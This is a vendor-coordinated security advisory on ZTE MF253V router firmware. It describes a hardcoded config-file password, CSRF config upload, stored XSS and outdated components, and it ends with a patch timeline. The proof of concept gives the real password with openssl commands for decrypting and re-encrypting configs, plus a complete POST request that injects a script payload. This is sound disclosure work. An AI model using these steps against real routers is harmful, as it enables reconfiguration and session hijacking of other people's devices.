SEC Consult Vulnerability Lab Security Advisory < 20201123-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: ZTE WLAN router MF253V
 vulnerable version: V1.0.0B04
      fixed version: V1.0.0B05
         CVE number:
             impact: Medium
           homepage: https://www.zte.com.cn
              found: 2020-01-07
                 by: T. Weber (Office Vienna)
                     S. Robertz (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"ZTE Corporation is a global leader in telecommunications and information
technology. Founded in 1985 and listed on both the Hong Kong and Shenzhen Stock
Exchanges, the company has been committed to providing integrated end-to-end
innovations to deliver excellence and value to consumers, carriers, businesses
and public sector customers from over 160 countries around the world to enable
increased connectivity and productivity."

Source: https://www.zte.com.cn/global/about/corporate_information


Business recommendation:
------------------------
The vendor provides a patch via push notifications in the web-interface of the
device. The patch should be installed immediately.

SEC Consult recommends to perform a thorough security review of these
products conducted by security professionals to identify and resolve all
security issues.


Vulnerability overview/description:
-----------------------------------
1) Hardcoded Password for Config File
The device contains a hardcoded password for the config file. Hence, all config
files from devices of the same model can be decrypted and modified by an
attacker for malicious purposes.

2) Config Upload via Cross-Site Request Forgery (CSRF)
A malicious config file can be uploaded by exploiting a CSRF vulnerability. An
attacker can reconfigure the router by luring the user to a crafted web-site.

3) Stored Cross-Site Scripting (XSS)
A cross-site scripting payload can be placed by an authenticated attacker by
intercepting a POST request to "/goform/goform_set_cmd_process" or by abusing
the config upload described in section 2). Thus, an attacker is able to perform
malicious actions in the context of the attacked user.

4) Multiple Outdated Software Components
Multiple outdated software components containing vulnerabilities were found by
the IoT Inspector.


Proof of concept:
-----------------
1) Hardcoded Password for Config File
The script "/usr/zte/zte_conf/scripts/para_backup.sh" contains the hardcoded
password "himan". It is used to prevent tampering with the configuration file.

The initial encrypted configuration can be obtained by logging in and visiting:
"https://$IP/cgi-bin/ExportSettings.sh"

Decryption:
-------------------------------------------------------------------------------
OpenSSL 1.0.1:
openssl enc -d -des-ede3-cbc -in <encrypted-config> -out <decrypted-config> -pass pass:himan
OPENSSL 1.1.1:
openssl enc -d -des-ede3-cbc -md md5 -in <encrypted-config> -out <decrypted-config> -pass pass:himan

Encryption:
-------------------------------------------------------------------------------
OpenSSL 1.0.1:
openssl enc -des-ede3-cbc -in <decrypted-config> -out <encrypted-config> -pass pass:himan
OPENSSL 1.1.1:
openssl enc -des-ede3-cbc -md md5 -in <decrypted-config> -out <encrypted-config> -pass pass:himan

2) Config Upload via Cross-Site Request Forgery (CSRF)
Using the hardcoded password one is able to generate valid config files with
malicious settings. The config file can be uploaded by sending the encrypted
config file to "https://$IP/cgi-bin/upload_settings.cgi" while logged in.

A CSRF vulnerability allows the config to be uploaded to the router by visiting
a malicious website when logged in.

3) Stored Cross-Site Scripting (XSS)
By using an intercepting proxy, one is able to inject an XSS payload into the
POST request, resulting in a stored XSS.

Request:
-------------------------------------------------------------------------------
POST /goform/goform_set_cmd_process HTTP/1.1
Host: $IP
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://$IP/index.html
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 275
Connection: close

isTest=true&notCallback=true&goformId=WAN_GATEWAYMODE_STATIC&static_wan_ipaddr=$IP<script>alert(document.location)</script>&static_wan_netmask=255.255.255.0&static_wan_gateway=192.168.0.2&static_wan_primary_dns=8.8.8.8&static_wan_secondary_dns=9.9.9.9&WAN_MODE=STATIC
-------------------------------------------------------------------------------

Maliciously changing some config values and uploading the tampered config as
explained in section 2) results in a stored XSS as well:

Malicious config excerpt:
-------------------------------------------------------------------------------
...
imei=860743031081114<script>alert(document.location)</script>
...
-------------------------------------------------------------------------------

4) Multiple Outdated Software Components
The IoT Inspector recognized multiple outdated software components with known
vulnerabilities:

Busybox 1.23.1:                 3 CVEs
OpenSSL 1.0.1k:                 37 CVEs
Curl 7.21.1:                    2 CVEs
Hostapd 2.3:                    21 CVEs
Linux Kernel 3.18.20:   191 CVEs
Dnsmasq 2.78:                   1 CVE


Vulnerable / tested versions:
-----------------------------
The following product/firmware version has been tested:
* ZTE MF253V V1.0.0B04


Vendor contact timeline:
------------------------
2020-01-16: Sent encrypted advisory to the vendor.
2020-01-17: Vendor confirmed reception of advisory.
2020-02-26: Vendor confirmed vulnerabilities.
2020-03-12: Vendor provided a statement about the outdated software components.
2020-06-03: Vendor prepares a statement about the next steps.
2020-08-04: Telephone call with the vendor. Updates have been released and are
            available as a push notification in the web-interface of the router.
            Vendor prepares a list of fixed issues for SEC Consult.
2020-08-30: Multiple phone calls with vendor. Release notes delayed due to
                        sick employees.
2020-09-29: Received release notes of patch.
2020-11-23: Public release of the security advisory.


Solution:
---------
Upgrade to release: ZTE MF253V V1.0.0B05
Fixed:
        - Config Upload via Cross-Site Request Forgery (CSRF)
        - Stored Cross-Site Scripting (XSS)
        - Hardcoded Password for Config File
        - Updated OpenSSL to 1.0.2r
Other software components could not be upgraded.


Workaround:
-----------
None.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
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Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
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recommendation about the risk profile of new technologies.

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EOF T. Weber, S. Robertz / @2020